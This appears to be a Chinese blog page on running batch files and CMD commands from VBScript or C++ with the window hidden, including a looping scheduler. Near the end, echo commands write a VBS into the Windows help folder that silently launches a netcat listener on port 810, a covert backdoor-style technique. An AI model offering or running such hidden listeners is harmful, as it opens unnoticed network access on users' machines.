2020年5月7日11:14:47

使用Cscript.exe运行vbs会弹出cmd窗口
避免方法:
管理员权限运行cmd,输入cscript.exe //H:WScript,将默认的脚本宿主改为 WScript.exe,即可解决。

Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c install.bat",vbhide 

#install.bat 为要执行的脚本名称,需要和xxx.vbs脚本放到同一个目录下

运行cmd.exe时,加了/c参数后它将运行/c后面的命令,不加参数的话,它只执行CMD命令。

system("xxx"),相当于执行cmd.exe /c xxx。

使用WinExec或ShellExecute和cmd.exe /c 来达到隐藏窗口的目的。

示例:

WinExec("cmd.exe /c dir > d:\\abc.txt", SW_HIDE);ShellExecute(nullptr, L"open", L"cmd.exe", L"/c dir > d:\\abc.txt", nullptr, SW_HIDE);

单次运行请用这个,修改auto.bat为你要运行的批处理文件的名字,并将以下内容保存为vbs格式,放到auto.bat文件所在目录,名字随便,例如run.vbs

Set shell = Wscript.createobject("wscript.shell")a = shell.run ("auto.bat",0)

循环运行请用这个,示例为每60秒运行一次,保存格式和所放置的目录同1所述

dim a
set a=CreateObject("Wscript.Shell")
Do
a.run "auto.bat"
Wscript.Sleep 60000
Loop
echo dim wsh > %systemroot%/help/test.vbs
echo set wsh=CreateObject("WScript.Shell") >> %systemroot%/help/test.vbs
echo wsh.run "cmd /c %systemroot%/help/nc -v -l -p 810 < %systemroot%/help/or.txt",0 >> %systemroot%/help/test.vbs

用vbs运行CMD不显示窗口的方法汇总相关推荐

  1. 如何快速以管理员身份运行cmd命令符窗口

    电脑快速以管理员身份运行cmd命令符窗口 解决方法: 以前以管理员身份运行cmd窗口都要去C盘的System32下找cmd.exe,现在我又学到了一招,简单点: 右键"开始"-&g ...

  2. win11如何设置并排显示窗口 windows设置并排显示窗口的方法步骤

    有时候我们在使用电脑的过程中需要同时开启多个任务窗口,而Win11系统是可以直接去设置并排显示窗口,那么应该要如何去设置呢?下面就和小编一起来看看应该如何操作吧.更多windows11系统教程,可以参 ...

  3. java清除运行窗口内容,Java实现软件运行时启动信息窗口的方法

    本文实例形式详述了Java实现一个程序运行时的启动窗口效果,如常用的Microsoft Word. Borland JBuilder 等,这样的窗口称为信息窗口.使用信息窗口的好处是可以使用户在等待软 ...

  4. 以管理员身份运行cmd有哪几种方法

    描述 除了右键"以管理员身份运行",还有哪几种方法,能够以管理员身份启动cmd 方式一:右键"以管理员方式运行" 方式二:powershell命令 Start- ...

  5. 运行cmd命令,窗口打开一闪而过,解决办法。

    临时解决: cmd /d 彻底解决: 打开注册表,下面两处设置为空. HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun\R ...

  6. [转]无焦点显示窗口解决方法 [转]AttachThreadInput的用法

    tag: 激活无焦点窗口 转自:http://blog.csdn.net/abcpanpeng/archive/2009/12/29/5099580.aspx 1.不同线程的处理方法 如何在2K/xp ...

  7. 无焦点显示窗口解决方法 [转]AttachThreadInput的用法

    tag: 激活无焦点窗口 转自:http://blog.csdn.net/abcpanpeng/archive/2009/12/29/5099580.aspx 1.不同线程的处理方法 如何在2K/xp ...

  8. (转)无焦点显示窗口解决方法

    原文链接:http://blog.csdn.net/abcpanpeng/archive/2009/12/29/5099580.aspx 1.不同线程的处理方法 如何在2K/xp下使窗口获取焦点 在2 ...

  9. ThInkPHP验证码不显示,解决方法汇总

    出现ThInkPHP验证码不显示的情况 官方提示如下:如果无法显示验证码,请检查: ① PHP是否已经安装GD库支持: ② 输出之前是否有任何的输出(尤其是UTF8的BOM头信息输出):(打开验证码文 ...

最新文章

  1. 我怎样才能参加比特币现金9月1日压力测试?
  2. Linux 永久挂载(mount)
  3. 3D模型在网页上显示
  4. html表单全选框,form表单里如何实现全选和全不选
  5. 【图像处理】RGB Bayer Color分析
  6. HTTP协议中的Content-Encoding
  7. 3d button - where is OS type and version detected
  8. postgresql 查看page, index, tuple 详细信息
  9. [spring boot] ------ 总结1
  10. Vue源码系列(一):Vue源码解读的正确姿势
  11. Visual Studio安装指南
  12. 第八届ACM程序设计大赛总结
  13. 关于软件测试的基础认知分享
  14. 2016中国移动CRM洞察力论坛召开|码客荣获2016中国移动CRM产品创新奖
  15. C语言程序设计入门08——初识格式化输出1:格式化输出PI值
  16. 计算机小游戏有哪些,为你解答电脑小游戏有哪些
  17. 企业组织结构图怎么画?分享简单的结构图绘制方法
  18. python找不到scripts文件夹_快速解决安装python没有scripts文件夹的问题
  19. 工时、工期、执行时间计算方式
  20. TCP的三次握手与四次挥手详解

热门文章

  1. 混凝土静力受压弹性模量试验计算公式_混凝土试块检测要知道的9个技巧
  2. react改变checkbox的文字类型_reactjs – React复选框事件和处理程序的Typescript类型?...
  3. 建行计算机招聘考试考什么,银行招聘考试考什么
  4. linux入门 适合初学者_经过慎重考虑,我拿出这套适合初学者入门的Java基础完整版视频...
  5. java ftp 大文件_用Java实现FTP批量大文件上传下载(二)
  6. 免费ftp网站服务器软件,免费ftp服务器软件,免费ftp服务器软件有哪些呢?好用推荐...
  7. C语言丨检测用户键盘输入数据的合法性
  8. 计算机专业盲打,在win7系统电脑练习盲打的方法
  9. python迭代对象有哪些_Python可迭代对象操作示例
  10. nodejs mysql save_NodeJs Mysql简易操作工具